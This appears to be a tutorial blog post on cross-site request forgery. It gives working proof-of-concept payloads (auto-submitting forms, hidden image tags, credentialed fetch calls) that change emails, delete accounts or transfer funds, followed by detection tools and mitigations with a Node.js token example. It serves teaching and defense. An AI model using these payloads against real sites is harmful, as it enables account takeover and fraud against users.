Cross-Site Request Forgery (CSRF) Vulnerabilities
/ 3 min read
Updated:Table of Contents
What is CSRF?
Cross-Site Request Forgery (CSRF) is a web security vulnerability where an attacker tricks an authenticated user into performing unintended actions on a web application. The application processes the request because it trusts the user’s session, unaware that the request originated from a malicious source.
How Does It Work?
When a user is logged into a web application (e.g., example.com
), their browser stores a session cookie. If the user visits a malicious site while still authenticated, the attacker can forge a request to example.com
that uses the user’s active session.
For example, consider a form on example.com
that updates a user’s email:
POST /update-email HTTP/1.1Host: example.comCookie: session=abc123Content-Type: application/x-www-form-urlencoded
email=newemail@example.com
If there’s no CSRF protection, an attacker can create a malicious page:
<form action="https://example.com/update-email" method="POST"> <input type="hidden" name="email" value="attacker@evil.com" /> <input type="submit" value="Click Me!" /></form><script> document.forms[0].submit();</script>
What Happens?
- The victim, logged into
example.com
, visits the attacker’s page. - The form auto-submits using the victim’s session cookie.
- The email is changed to
attacker@evil.com
, potentially locking the user out.
Common Attack Payloads
Payload Type | Example | Description |
---|---|---|
Auto-submitting Form | <form action="/update-email" method="POST"> | Submits a form to change user data |
Hidden Image Tag | <img src="/delete-account" style="display:none;"> | Triggers a GET-based action |
XMLHttpRequest | fetch('/api/transfer', {method: 'POST', body: 'amount=1000'}) | Sends a POST request via JavaScript |
JSON-based CSRF | {"amount": 1000, "to": "attacker"} | Targets APIs accepting JSON payloads |
How to Detect CSRF
Manual Testing
Focus on state-changing endpoints (e.g., POST, PUT, DELETE requests) such as:
update-profile
transfer-money
delete-account
change-password
Test by crafting a malicious HTML page and checking if the action succeeds without user consent:
<form action="https://example.com/delete-account" method="POST"> <input type="submit" value="Click Me!" /></form><script> document.forms[0].submit();</script>
If the account is deleted, the endpoint lacks CSRF protection.
Automated Tools
- Burp Suite: Capture requests and test for missing CSRF tokens.
- OWASP ZAP: Use the active scanner to identify CSRF vulnerabilities.
- CSRF Tester: Generate PoC HTML forms for testing.
Advanced Attacks (Beyond Basic CSRF)
CSRF on GET Endpoints
Some applications incorrectly allow state-changing actions via GET requests:
GET /delete-post?post_id=123 HTTP/1.1Host: example.comCookie: session=xyz789
An attacker can exploit this with a simple image tag:
<img src="https://example.com/delete-post?post_id=123" style="display:none;" />
CSRF with JSON Payloads
If an API accepts JSON and lacks CSRF protection:
POST /api/transfer HTTP/1.1Host: example.comCookie: session=xyz789Content-Type: application/json
{"amount": 1000, "to": "attacker"}
An attacker can use JavaScript to send the request:
<script> fetch("https://example.com/api/transfer", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ amount: 1000, to: "attacker" }), credentials: "include", });</script>
Mitigations
Mitigation | Description |
---|---|
CSRF Tokens | Use unique, per-session tokens in forms/headers |
SameSite Cookies | Set cookies to SameSite=Strict or Lax |
Origin/Referer Check | Validate the request’s Origin or Referer |
Re-authentication | Require password for sensitive actions |
Use POST for Actions | Avoid state changes via GET requests |
Example: Secure Implementation
Add a CSRF token to forms and validate it on the server:
<form action="/update-email" method="POST"> <input type="hidden" name="csrf_token" value="random-unique-token" /> <input type="email" name="email" value="" /> <input type="submit" value="Update Email" /></form>
Server-side validation in Node.js:
const crypto = require("crypto");
function generateCsrfToken(req) { return crypto.randomBytes(32).toString("hex");}
function validateCsrfToken(req, res, next) { const token = req.body.csrf_token; if (token !== req.session.csrf_token) { return res.status(403).send("Invalid CSRF token"); } next();}
TL;DR
Type | Description | Risk |
---|---|---|
Form Submission | Change user data (e.g., email) | High |
GET-based CSRF | Delete resources via GET | High |
API CSRF | JSON-based actions (e.g., transfer funds) | Critical |
No SameSite Cookies | Allows cross-site requests | Medium |